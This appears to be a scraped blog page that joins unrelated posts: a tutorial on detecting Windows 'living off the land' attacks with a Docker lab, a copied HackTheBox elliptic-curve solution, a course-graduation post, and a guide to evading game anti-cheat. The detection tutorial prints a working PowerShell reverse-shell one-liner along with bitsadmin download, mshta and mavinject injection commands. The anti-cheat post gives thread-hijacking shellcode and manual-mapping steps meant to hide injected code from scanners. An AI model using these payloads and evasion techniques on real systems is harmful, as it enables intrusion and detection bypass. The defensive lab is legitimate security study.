Detecting Living Off the Land (LotL) Attacks on Windows Systems

Understanding Living Off the Land (LotL) Techniques

During the SEC530 course I took a few weeks ago, one of the key takeaways was the importance of blue teaming and the continuous effort to secure and defend an organization’s perimeter. A significant aspect of this defense is understanding and detecting Living off the Land (LotL) techniques. These techniques are emphasized in SEC530 as critical to modern defense strategies.

LotL attacks utilize legitimate, built-in system tools to perform malicious actions, allowing adversaries to evade many conventional security mechanisms like antivirus software and endpoint protection systems. This method enables attackers to carry out actions like data exfiltration, privilege escalation, or persistence without the need to introduce foreign binaries that would raise suspicion.

LotL and Blue Teaming

Detection of LotL techniques is a vital part of blue teaming because it focuses on identifying and responding to adversarial behaviors that leverage standard system functionalities. Tools like powershell.exe, wmic.exe, cmd.exe, and rundll32.exe are examples of Windows utilities that are often used in LotL attacks. When defenders understand how these tools are exploited, they can better detect and mitigate these activities before they lead to a full-blown compromise.

In SEC530, we learned that building strong defenses requires not only identifying and blocking malware but also recognizing when built-in system utilities are being misused. Since these tools are often critical for legitimate administrative activities, monitoring for abnormal use is crucial for a well-rounded blue team defense.

The Principle of Least Privilege

The principle of least privilege is a foundational security practice that aims to minimize access rights for users to only what is necessary for their role. For example, an employee working in a non-IT capacity should not have access to PowerShell, cmd.exe, or any other administrative tools that are not relevant to their tasks. Restricting access to these tools significantly reduces the attack surface and limits the ability of an attacker to perform LotL attacks if they gain access to the system.

When LotL tools are detected, it might indicate an abnormality compared to the system’s baseline behavior. Even if these tools are legitimate, their unexpected use should prompt investigation to determine if malicious activity is occurring.

Why LotL Attacks Are Dangerous

Well-prepared threat actors understand that effective defenses can make it difficult to introduce their own tools. When this happens, they may turn to LotL techniques to establish persistence, escalate privileges, pivot across systems, or exfiltrate sensitive data. Detecting and responding to these tactics quickly is critical for minimizing potential damage.

LotL Detection Script Demonstration

This section introduces a PowerShell script that can help detect common LotL tools based on process creation auditing in Windows. The script logs detections, sends alerts via email, and can block suspicious processes depending on the severity level of the detected tool. The core of this script is based on Security Event ID 4688, which watches for the creation of new processes and compares them against a watchlist of known LotL executables.

How the Script Works

  1. Enables Process Creation Auditing: The script configures Windows to audit new process creation. This provides visibility into what executables are being run on the system.
  2. Enables Command Line Auditing: The script modifies the registry to include command-line details for each new process created, allowing for deeper analysis of process behavior.
  3. Monitors for LotL Executables: The script contains a predefined list of common LotL tools categorized by severity (High/Medium). When any of these tools are executed, it logs the event, sends a syslog message, and can email an alert.
  4. Responds Based on Severity: The script can terminate processes categorized as high severity while logging and alerting all other LotL detections.
  5. Email Alerts to Administrators: When suspicious activity is detected, an email is sent to a pre-defined address, ensuring rapid awareness and enabling an immediate response.
  6. Syslog Integration with ELK Stack: The script pushes event data to a centralized logging system like the ELK stack, which allows for enhanced visualization and triaging of potential threats. By leveraging Kibana dashboards, security teams can quickly filter, search, and analyze the logs to identify patterns and suspicious activities.

Clone my repository using the command below. With this, you will be able to see the main script (AdvancedLotLMonitor.ps1) plus the test environment.

Command (Powershell Window#1)

git clone https://github.com/mlesterdampios/lotl-detection.git
cd lotl-detection
tree /f

Output (Powershell Window#1)

PS C:\...> git clone https://github.com/mlesterdampios/lotl-detection.git
Cloning into 'lotl-detection'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 17 (delta 0), reused 17 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (17/17), 6.37 KiB | 724.00 KiB/s, done.
PS C:\...> cd lotl-detection
PS C:\...\lotl-detection> tree /f
Folder PATH listing for volume WORKSTATION
Volume serial number is 6A28-CD5C
C:.
│   AdvancedLotLMonitor.ps1
│   BuildAndRunLotLEnvironment.ps1
│   CleanupLotLEnvironment.ps1
│
├───c2-server
│       Dockerfile
│
├───elk
│   │   docker-compose.yml
│   │
│   └───logstash
│       └───config
│               logstash.conf
│               logstash.yml
│               pipelines.yml
│
└───malicious-server
        Dockerfile
        fake-malware.txt

Expanding on the LotL Detection Script and the Test Environment

In addition to the PowerShell script for detecting LotL activities, you have a supporting script, BuildAndRunLotLEnvironment.ps1, which sets up a controlled environment for testing these techniques. This testing environment includes a simulated malicious server, a command-and-control (C2) server, and an ELK (Elasticsearch, Logstash, Kibana) stack for centralized logging and visualization.

BuildAndRunLotLEnvironment.ps1 Overview

The BuildAndRunLotLEnvironment.ps1 script is designed to quickly spin up a testing environment that emulates a realistic scenario where LotL activities might be used. Here’s how it works:

  1. Build Malicious Server and C2 Server Docker Images: The script navigates to the respective directories for the malicious server and C2 server, then builds Docker images for both using the docker build command.
  2. Launch the ELK Stack: The script uses docker-compose to start an ELK stack, which provides a centralized logging and visualization platform to monitor the system’s security events.
  3. Run the Malicious Server and C2 Server Containers: After building the Docker images, the script runs the containers, mapping them to appropriate ports (8080 for the malicious server and 4444 for the C2 server).
  4. Wait for ELK Initialization: Since the ELK stack can take some time to initialize, the script includes a wait period to ensure all components are fully operational before proceeding.
  5. Check Status of Running Containers: The script checks the status of all Docker containers to confirm they are up and running as expected.

Command (Powershell Window#1)

PS: C:\...\lotl-detection> .\BuildAndRunLotLEnvironment.ps1

Output (Powershell Window#1)

Running malicious server container...
...
Running c2 server container...
...
Waiting for ELK stack to initialize... (this may take a few minutes)
Displaying status of running containers:
...
All services are up and running.
Kibana is accessible at http://localhost:5601
The simulated malicious server is accessible at http://localhost:8080

Accessing the Environment

Test Case#1: Establishing Reverse Shell using Powershell (without detection script)

Command (Powershell Window#2)

PS: C:\...\lotl-detection> docker ps

Output (Powershell Window#2)

...
CONTAINER ID   IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                                                    NAMES
02728eaddd05   c2-server-sim                                         "tail -f /dev/null"      About a minute ago   Up About a minute   0.0.0.0:4444->4444/tcp                                   c2-server
...

Copy the Container ID of c2-server-sim (Note: Output maybe different)

Command (Powershell Window#2)

PS: C:\...\lotl-detection> docker exec -it <Container_ID> /bin/sh

Output (Powershell Window#2)

PS C:\...\lotl-detection> docker exec -it <Container_ID> /bin/sh
/ #

Command (Powershell Window#2)

/ # nc -nlvp 4444

Let Powershell Window#2 running.

Open a new Powershell window.

Command (CMD Window#3)

C:\...\lotl-detection> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Go back to Powershell Window#2. You should now see remote shell established. You can try sending command like whoami then exit.

Output (Powershell Window#2)

/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 47878
SHELL> whoami
desktop-XXX\XXX
SHELL> exit
/ #

We can confirm that reverse shell is now successfully established.

Test Case#2: Establishing Reverse Shell using Powershell (with detection script)

Command (Powershell Window#1)

PS: C:\...\lotl-detection> .\AdvancedLotLMonitor.ps1

Output (Powershell Window#1)

2024-09-30 12:02:33.694 - Enabling process creation auditing...
2024-09-30 12:02:33.710 - Process creation auditing enabled. If this is your first time running this script, please restart to apply the Process Creation policy modification.
2024-09-30 12:02:33.712 - Enabling command line auditing...
2024-09-30 12:02:33.720 - Command line auditing enabled.
2024-09-30 12:02:33.734 - Starting LotL Detection script. Initial Record ID: 137700, Initial Event Time: 09/30/2024 12:02:32

Let Powershell Window#1 running.

Repeat steps in Test Case#1.

After repeating Test Case#1, we expect that the shell will die, and alert will be generated and send both to email and syslog.

Output (Powershell Window#1)

2024-09-30 12:06:06.042 - Detected LotL execution: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe by ... (PID: 0xb3c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: powershell  -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
2024-09-30 12:06:06.046 - Syslog message sent.
2024-09-30 12:06:09.314 - Email alert sent.
2024-09-30 12:06:09.321 - Process 0xb3c (C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe) has been terminated due to high severity.

Output (Powershell Window#2)

/ # nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.1 51094
SHELL> / #

The script terminated the powershell process as it is considered a high severity.

Test Case#3: Using bitsadmin.exe to file transfer

Command (CMD Window#3)

C:\...\lotl-detection> bitsadmin.exe /transfer myDownloadJob /download /priority normal http://localhost:8080/fake-malware.txt C:\Users\Public\fake-malware.txt & timeout /t 150 > nul

Output (CMD Window#3)

DISPLAY: 'myDownloadJob' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 36 / 36 (100%)
Transfer complete.

C:\...\lotl-detection>

The process is not terminated nor blocked. However, it is logged as medium severity.

Test Case#4: Execution via mshta.exe

Command (CMD Window#3)

C:\...\lotl-detection> mshta.exe "javascript:alert('Test');"

Output (Powershell Window#1)

2024-09-30 12:18:28.183 - Process 0x2330 (C:\Windows\System32\bitsadmin.exe) allowed to continue.
2024-09-30 12:26:29.066 - Detected LotL execution: C:\Windows\System32\mshta.exe by ... (PID: 0x325c, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mshta.exe  "javascript:alert('Test');"
2024-09-30 12:26:29.068 - Syslog message sent.
2024-09-30 12:26:32.094 - Email alert sent.
2024-09-30 12:26:32.106 - Process 0x325c (C:\Windows\System32\mshta.exe) has been terminated due to high severity.

The script terminated the process as it is considered a high severity.

Test Case#5: Process Injection via mavinject.exe

Command (CMD Window#3)

Get the PID of the process you want to inject to.

C:\...\lotl-detection> mavinject.exe <PID> /INJECTRUNNING C:\Windows\System32\notepad.exe

Output (Powershell Window#1)

2024-09-30 12:31:32.413 - Detected LotL execution: C:\Windows\System32\mavinject.exe by ... (PID: 0x1d94, Parent: C:\Windows\System32\cmd.exe). Severity: High. CommandLine: mavinject.exe  16292 /INJECTRUNNING C:\Windows\System32\notepad.exe
2024-09-30 12:31:32.416 - Syslog message sent.
2024-09-30 12:31:35.732 - Email alert sent.
2024-09-30 12:31:35.738 - Process 0x1d94 (C:\Windows\System32\mavinject.exe) is already terminated.

The script terminated the process as it is considered a high severity.

The Power of ELK Stack for Event Triage and Threat Detection

An ELK stack (Elasticsearch, Logstash, Kibana) is a powerful and scalable logging solution that provides unparalleled visibility into system events and potential threats. Here are some key reasons why it is beneficial for triaging security events and responding to potential threats:

Centralized Logging and Data Aggregation

One of the core strengths of the ELK stack is its ability to centralize and aggregate logs from multiple sources, such as system events, application logs, network traffic, and security events. This centralization enables analysts to view a holistic picture of the environment in one place, providing context and reducing the need to jump between disparate systems when investigating incidents.

Advanced Search and Filtering

With Elasticsearch as the core engine, ELK allows for extremely fast and flexible querying of logs. You can quickly search for specific keywords, filter based on time ranges, or create complex queries that correlate data across multiple fields. For example, if you suspect an attack leveraging Living off the Land (LotL) techniques, you can instantly search for the execution of known LotL binaries across all logs and pinpoint their origin.

Real-Time Data Visualization and Dashboards

Kibana, the visualization component of ELK, enables you to create custom dashboards to represent data in real-time. This provides:

  • Real-Time Alerts and Metrics: Easily track spikes in abnormal activities, such as unexpected process executions, privilege escalations, or anomalous network connections.
  • Clear Visualizations: Graphs, charts, and heatmaps help highlight patterns and trends that could indicate a potential security incident.
  • Dashboards for Multiple Scenarios: Dashboards can be tailored to specific types of data (e.g., system logs, authentication events, network traffic), allowing security teams to triage efficiently.

Correlating Events for Incident Response

A significant advantage of the ELK stack is its ability to correlate different types of events across multiple data sources. For example, if your LotL detection script sends syslogs to ELK, you can quickly correlate these alerts with other security logs like firewall logs, intrusion detection system alerts, or endpoint activity. This allows analysts to understand the full scope of an incident and quickly identify how a potential attacker may have gained access, moved laterally, or exfiltrated data.

Efficient Triage and Threat Investigation

When an alert is generated, the ELK stack allows for quick triage by:

  • Providing Contextual Information: The ability to drill down into specific events, view their associated metadata, and understand their origin in context.
  • Historical Data for Pattern Recognition: By having historical log data readily accessible, it is easier to identify patterns of repeated behavior that may indicate persistent threats or a slow-moving attack campaign.
  • Automated Workflows and Integrations: Integrations with other security tools, such as security information and event management (SIEM) systems, ticketing systems, or threat intelligence platforms, can streamline the process of responding to an incident.

Customizable Alerting Mechanisms

Kibana can be configured to send alerts based on pre-defined thresholds or specific conditions (e.g., detecting a specific LotL tool execution). When the detection script pushes an alert to the ELK stack, it can trigger automated workflows, send notifications to administrators, or even initiate predefined response actions such as blocking an IP address or disabling a compromised account.

By leveraging the visualization, correlation, and alerting features of the ELK stack, security teams can rapidly triage events, identify suspicious behavior, and take timely action to mitigate potential threats. This makes ELK an invaluable tool for detecting, analyzing, and responding to complex and evolving security incidents.

Since we generated some alerts earlier, you can view the syslogs ingested by the ELK using your browser with the following URL:

http://localhost:5601/app/discover

If you haven’t created a Data View yet, you can create one with the following Index Pattern: syslog-*

The custom syslog wasn’t perfect and it is just used for educational purposes only. The metadata needs to be cleaned in order for the ELK provide meaningful context.

Feel free to explore the ELK.

Cleanup

Stop the script running on Powershell Window#1. Then run .\CleanupLotLEnvironment.ps1

Output (Powershell Window#1)

PS C:\...\lotl-detection> .\CleanupLotLEnvironment.ps1
Stopping and forcefully removing containers...
Stopping the malicious server container...
malicious-server
malicious-server
Stopping the c2 server container...
c2-server
c2-server
Stopping the ELK container...
[+] Running 5/5
 ✔ Container logstash       Removed                                                                                2.6s
 ✔ Container kibana         Removed                                                                                0.9s
 ✔ Container elasticsearch  Removed                                                                                2.8s
 ✔ Volume elk_esdata        Removed                                                                                0.1s
 ✔ Network elk_default      Removed                                                                                0.2s
Containers stopped and removed.
Removing malicious server image...
Untagged: malicious-url-sim:latest
Deleted: sha256:...
Untagged: c2-server-sim:latest
Deleted: sha256:...
Malicious server image removed.
Removing associated Docker volumes...
Associated volumes removed.
Retaining other images as per requirements.
Cleanup complete. All targeted containers, images (excluding other big images), and volumes have been forcefully removed.
PS C:\...\lotl-detection>

Conclusion

Living off the Land (LotL) techniques represent a sophisticated approach used by attackers to blend into normal system activity and evade detection. As highlighted in SEC530, detecting these techniques is critical for any blue team aiming to defend the perimeter effectively. By understanding how threat actors exploit legitimate tools to carry out malicious activities, security teams can better monitor, alert, and respond to these subtle threats.

Implementing tools like the PowerShell detection script showcased above, combined with a powerful logging and analysis platform like the ELK stack, provides a strong foundation for recognizing and investigating anomalies that deviate from the baseline. This proactive monitoring is key to minimizing the potential damage from LotL attacks, improving the organization’s security posture, and ultimately strengthening the blue team’s ability to defend against evolving threats.

Security is an ongoing process, and as threat actors adapt, so too must defenders—continuously learning, adjusting defenses, and employing strategies that minimize risks while effectively responding to any indicators of compromise.

Areas for Improvement: Mitigating False Positives

While the PowerShell detection script provides a foundational approach to identifying Living off the Land (LotL) activities, it is not without limitations. One of the primary challenges of LotL detection is the high potential for false positives. Many of the tools flagged by the script, such as powershell.exe, cmd.exe, or schtasks.exe, are often used legitimately for administrative tasks, software installations, and system maintenance.

To enhance the script’s accuracy and reduce false positives, several improvements are necessary:

  1. Baseline Normal System Behavior: The script should incorporate a learning phase to understand normal process behavior within the environment. By building a baseline, it can better distinguish between legitimate uses of LotL tools and anomalous activity.
  2. Contextual Analysis: The script can be enhanced to consider the context in which a process is executed. This includes checking the command-line arguments, the parent process, the time of execution, and the user running the process. For example, running powershell.exe with a suspicious script or command should be flagged, while running it with a known administrative script might be considered safe.
  3. Whitelisting and User Role Verification: Incorporating a dynamic whitelist of known processes, users, and roles can help reduce false positives. If the script detects a LotL tool being used by a user in a non-IT role, it could trigger a higher severity alert compared to an administrator running a known maintenance task.
  4. Severity Levels and Automated Responses: Refining how severity levels are assigned to various LotL tools based on context would allow for a more nuanced response. For instance, blocking certain processes might be too aggressive and could disrupt normal operations. Instead, alerting and requiring manual investigation for certain cases can help verify if the activity is truly malicious.
  5. Periodic Review and Update of LotL Watchlist: Regularly updating the list of monitored LotL tools and refining detection rules based on threat intelligence is essential to adapt to evolving attacker techniques.

By implementing these improvements, the script can become more effective in detecting true LotL attacks while minimizing the noise of false positives, allowing security teams to focus their efforts on genuine threats. This process of continuous tuning is vital in maintaining an effective security posture.

Acknowledgments

A big thank you to SANS Institute, the authors of SEC530, headed by Ismael Valenzuela, and all the instructors for delivering such an insightful and practical course. The skills and knowledge shared throughout the training have greatly enhanced my understanding of blue teaming and modern defense techniques. The course’s hands-on approach and real-world examples have been invaluable, and I’m grateful for the opportunity to apply these lessons to enhance security practices. Thank you for your dedication and expertise in making the course a remarkable learning experience.

Generalized Weierstrass Elliptic

First of all, this is a challenge from HTB: LostKey under Crypto category and weighed as “Medium”. But man, this is a total brain rot to me.
Second, since I don’t know what the f am I doing, I just ended up reading walkthrough, even just reading, I can’t still comprehend what’s happening.
Lastly, the solution below is a complete copypasta from here. FULL CREDITS TO THEM.

The challenge

The challenge contains 2 files

#!/usr/bin/env python3
from Crypto.Util.number import *
from hashlib import sha1
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag, n

class coord:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    def __str__(self):
        return f"coord({self.x}, {self.y})"

class EC:
    def __init__(self, p):
        self.p = p
        self.zero = coord(0,0)

    def add(self, P,Q):
        if P == self.zero:
            return Q
        if Q == self.zero:
            return P
        if P.x == Q.x and P.y == -Q.y:
            return self.zero
        if P != Q:
            Lambda = (Q.y - P.y) * inverse(Q.x - P.x, self.p)
        else:
            Lambda = (3*(P.x*Q.x) + 417826948860567519876089769167830531934*P.x + 177776968102066079765540960971192211603) * inverse(P.y+Q.y+3045783791, self.p)
        Lambda %= self.p
        R = coord(0,0)
        R.x = (Lambda**2-P.x-Q.x-208913474430283759938044884583915265967) % self.p
        R.y = (Lambda*(P.x-R.x) - P.y - 3045783791) % self.p
        return R

    def mul(self, P, n):
        Q = P
        R = self.zero
        while n > 0:
            if n % 2 == 1:
                R = self.add(R,Q)
            n >>= 1
            Q = self.add(Q,Q)
        return R

def encrypt(key):
    iv = __import__('os').urandom(16)
    key = sha1(str(key).encode('ascii')).digest()[0:16]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher.encrypt(pad(flag,16))
    return(ct.hex(),iv.hex())

assert(n < 38685626227668133590597631)
e = EC(101177610013690114367644862496650410682060315507552683976670417670408764432851)
G = coord(14374457579818477622328740718059855487576640954098578940171165283141210916477, 97329024367170116249091206808639646539802948165666798870051500045258465236698)

print ("G =",G)
print ("Gn =", e.mul(G,n).x)
enc = encrypt(n)
print ("Ciphertext: {}\nIV: {}".format(enc[0],enc[1]))

encrypt.py The class in EC defines an elliptic curve. The encryption process is to use a point on the curve G to n * G calculate Gn and use it as the AES key to encrypt the plaintext, so the value n required to decrypt the ciphertext is obtained .n

output.txt The text file gives the values ​​of G, Gn (x coordinates), Ciphertext and IV

G = coord(14374457579818477622328740718059855487576640954098578940171165283141210916477, 97329024367170116249091206808639646539802948165666798870051500045258465236698)
Gn = 32293793010624418281951109498609822259728115103695057808533313831446479788050
Ciphertext: df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd
IV: baf9137b5bb8fa896ca84ce1a98b34e5

The Solution

Firstly, according to the general form of the elliptic curve and the calculation formula of point addition, the parameters of the curve are obtained.

The SageMath code is as follows

p = 101177610013690114367644862496650410682060315507552683976670417670408764432851
a1 = 0
a2 = 417826948860567519876089769167830531934 // 2
a3 = 3045783791
a4 = 177776968102066079765540960971192211603
Gx = 14374457579818477622328740718059855487576640954098578940171165283141210916477
Gy = 97329024367170116249091206808639646539802948165666798870051500045258465236698
a6 = Gy^2 + a1 * Gx * Gy + a3 * Gy - (Gx^3 + a2 * Gx^2 + a4 * Gx)
a6 = a6 % p
EC = EllipticCurve(Zmod(p), [a1, a2, a3, a4, a6])
G = EC(Gx, Gy)
print("G =", G)

We can then Gn get the y coordinate given the x coordinate Gn.

Gnx = 32293793010624418281951109498609822259728115103695057808533313831446479788050
Gn = EC.lift_x(Gnx)
print("Gn =", Gn.xy())

We can also see that the order of the curve is not a prime number, so we can use the Pohlig–Hellman algorithm to calculate Gn the G discrete logarithm of the sum, that is, n

ecOrder = EC.order()
print("EC order =", ecOrder)
F = factor(ecOrder)
print("F =", F)

The prime factorization of the curve order gives 7 prime factors. Only the first 5 values ​​are small enough to directly calculate the discrete logarithm. Then you need to use n the upper limit given in the question to enumerate the possible values ​​one by one to find it n.

#we only need the first 5 factor
primes = [9, 59, 14771, 27733, 620059697]
dlogs = []
product = 1
for fac in primes:
   t = ecOrder // fac
   dlog = discrete_log(t*Gn, t*G, operation="+")
   dlogs.append(dlog)
   print("factor: ", fac, ", Discrete Log: ", dlog)
   product = product * fac
L = crt(dlogs, primes)
print("L =", L)
print("check L =", L * G == Gn)
print("product =", product)
n = L
while (n <= 38685626227668133590597631):
   if (n * G == Gn):
      print("Found n =", n)
      break
   else:
      n = n + product
print("n =", n)

After obtaining it n, apply the AES decryption method to get the plain text of the Flag.

from Crypto.Cipher import AES
from hashlib import sha1

iv = bytes.fromhex("baf9137b5bb8fa896ca84ce1a98b34e5")
cipherText = bytes.fromhex("df572f57ac514eeee9075bc0ff4d946a80cb16a6e8cd3e1bb686fabe543698dd8f62184060aecff758b29d92ed0e5a315579b47f6963260d5d52b7ba00ac47fd")

key = sha1(str('PUT_n_HERE').encode('ascii')).digest()[0:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
plainText = cipher.decrypt(cipherText)
print ("plainText=", plainText)

Just got Graduated from Project SPARTA!

Smarter Philippines through Data Analytics R&D, Training and Adoption

Project Smarter Philippines through Data Analytics, R&D, Training, and Adoption (SPARTA) is dedicated to putting in place the necessary online education, research and development mechanisms, and infrastructure to enable the industry of Data Science and Analytics, and foster smart governance practices.

I am thrilled to share that I finished the Data Scientist pathway of project SPARTA. It has been a long journey since I enrolled on 2020. I was not able to finish it on the first batch and was only able to complete it along with current batch.

I would like to say thanks to Development Academy of the Philippines, Department of Science and Technology, Department of Science and Technology-Philippine Council for Industry, Energy and Emerging Technology Research and Development, and all the Partners and Sponsors to make this project possible.

SPARTA offers 12 micro-specialization and 6 main pathways. Each micro-specialization and pathways consists of multiple required courses that you must pass. Below are the list of microspecs and pathway that I successfully passed.

Data Scientist
Getting Grounded on Analytics
Essential Excel Skills for Data Preparation and Analysis
Computing in Python
SQL for Business Users
Data Management Fundamentals
Dashboards and Drill-Down Analytics
Data Visualization Fundamentals
Data Visualization Using Tableau and Python
Storytelling Using Data
Data-Driven Research Fundamentals
Experimental Design and Analysis
Statistical Analysis and Modeling Using Excel
Statistical Analysis and Modeling Using SQL and Python
Data Science and Machine Learning Using Python
Data Scientist Capstone Course
Python for Data Engineering
Analytics Applications in Operations
Analytics Applications in Finance and Risk
Data-Driven Policy Analysis
Applied Analytics in Public Human Resource Management
Applied Analytics in Public Finance and Budgeting
Data Engineering in e-Governance Systems
Urban Planning in the Fourth Industrial Revolution
Livable and Sustainable Cities in e-Governance

Domain Knowledge: Finance and Risk
Domain Knowledge: Urban Planning
Operational Analytics
Public Policy and Governance
Research Methods
Statistical Techniques
Computing
Data Visualization
Methods and Algorithms

Here is a full course map that I took.
https://mark.rxmsolutions.com/wp-content/uploads/2023/12/Untitled-Diagram2-1-scaled.jpg

With these newly found knowledges, I would surely use these for the betterment and improvement not only for myself but also the industry that I worked for. Thank you so much SPARTA!

P.S. For uncensored and verifiable certificates, kindly email me at [email protected].

Basic Anti-Cheat Evasion

So it’s been a while since I posted a blog. I was so busy with other things, especially adjusting the schedule with my work and my studies.

This short article I’ll discuss some very basic techniques on evading anti-cheat. Of course, you would still need to adjust the evasion mechanism depending on the anti-cheat you are trying to defeat.

On this blog, we will focus on Internal anti-cheat evasion techniques.

Part 1: The injector

First part of making your “cheat” is creating an executable that would inject your .dll into the process, A.K.A the game.

There are lot of injection mechanisms (copied from cynet). Below is the list but not limited to:

Classic DLL injection 

Classic DLL injection is one of the most popular techniques in use. First, the malicious process injects the path to the malicious DLL in the legitimate process’ address space. The Injector process then invokes the DLL via a remote thread execution. It is a fairly easy method, but with some downsides: 

Reflective DLL injection

Reflective DLL injection, unlike the previous method mentioned above, refers to loading a DLL from memory rather than from disk. Windows does not have a LoadLibrary function that supports this. To achieve the functionality, adversaries must write their own function, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring. 

Thread execution hijacking

Thread Hijacking is an operation in which a malicious shellcode is injected into a legitimate thread. Like Process Hollowing, the thread must be suspended before injection.

PE Injection / Manual Mapping

Like Reflective DLL injection, PE injection does not require the executable to be on the disk. This is the most often used technique seen in the wild. PE injection works by copying its malicious code into an existing open process and causing it to execute. To understand how PE injection works, we must first understand shellcode. 

Shellcode is a sequence of machine code, or executable instructions, that is injected into a computer’s memory with the intent of taking control of a running program.  Most shellcodes are written in assembly language. 

Manual Mapping + Thread execution hijacking = Best Combo

Above all of this, I think the very stealthy technique is the manual mapping with thread hijacking.
This is because when you manual map a DLL into a memory, you wouldn’t need to call DLL related WinAPI as you are emulating the whole process itself. Windows isn’t aware that a DLL has been loaded, therefore it wouldn’t link the DLL to the PEB, and it would not create structs nor thread local storage.
Aside from these, since you would be having thread hijacking to execute the DLL, then you are not creating a new thread, therefore you are safe from anti-cheat that checks for suspicious threads that are spawned. After the DLL sets up all initialization and hooks, it would return the control of the hijacked thread its original state, therefore, like nothing happened.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/injector/injection.cpp

This repository demonstrate a very simple injector. The following are the steps to achieve the DLL injection:

  • Elevate injector’s process to allow to get handle with PROCESS_ALL_ACCESS permission
  • VirtualAllocEx the dll image to the memory
  • Resolve Imports
  • Resolve Relocations
  • Initialize Cookie
  • VirtualAllocEx the shellcode
  • Fix the shellcode accordingly
  • Stop the thread and adjust it’s RIP pointing to the EntryPoint
  • Resume the thread

The shellcode

byte thread_hijack_shell[] = {
	0x51, // push rcx
	0x50, // push rax
	0x52, // push rdx
	0x48, 0x83, 0xEC, 0x20, // sub rsp, 0x20
	0x48, 0xB9, // movabs rcx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xB8, // movabs rax, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xFF, 0xD0, // call rax
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x89, 0x54, 0x24, 0x18, // mov qword ptr [rsp + 0x18], rdx
	0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
	0x5A, // pop rdx
	0x58, // pop rax
	0x59, // pop rcx
	0xFF, 0x64, 0x24, 0xE0 // jmp qword ptr [rsp - 0x20]
};

The line 7 is where you put the image base address, the line 9 is for dwReason, the line 11 is for DLL’s entrypoint and the line 14 is for the original thread RIP that it would jump back after finishing the DLL’s execution.

This injection mechanism is prone to lot of crashes. Approximately around 1 out of 5 injection succeeds. You need to load the game until on the lobby screen, then open the injector, if it crashes, just reboot the game and repeat the process until successful injection.

Part 2: The DLL

Of course, in the dll itself, you still need to do some cleanups. The injection part is done but the “main event of the evening” is just getting started.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/example_dll/dllmain.cpp

In the DLL main, we can see cleanups.

UnlinkModuleFromPEB

This one is unlinking the DLL from PEB. But since we are doing Manual Map, it wouldn’t have an effect at all, because windows didn’t even know that a DLL is loaded at all. This is useful tho, if we injected the DLL using classic injection method.

FakePeHeader

This one is replacing the PE header of DLL with a fakeone. Most memory scanner, tries to find suspicious memory location by checking if a PE exists. An MS-DOS header begins with the magic code 0x5A4D, so if an opcodes begin with that magic bytes, chances are, a PE is occupying that space. After that, the memory scanner might read that header for more information on what is really loaded with that memory location.

No Thread Creation

THIS IS IMPORTANT! Since we are hooking the IDXGISwapChain::Present, then we don’t see any reason to keep another thread running, so after our DLL finishes the setup, we then return the control of the thread to its original state. We can use the PresentHook to continue our “dirty business” inside the programs memory. Besides, as mentioned earlier, having threads can lead to anti-cheat flagging.

Obfuscation thru Polymorphism and Instantiation

This technique is already discussed on another blog: Obfuscation thru Polymorphism and Instantiation.

CALLBACKS_INSTANCE = new CALLBACKS();
MAINMENU_INSTANCE = new MAINMENU();

XORSTR

Ah, yes, the XORSTR. We can use this to hide the real string and will only be calculated upon usage.
To demonstrate the XORSTR, here is a sample usage. Focus on the line with “##overlay” string.

xorstr

And this is what it looks like after compiling and putting it under decompiler.

IDA Decompile

Other methodologies

There are some few more basic methodologies that wasn’t applied in the project. Below are following but not limited to:

  • Anti-debugging
  • Anti-VM
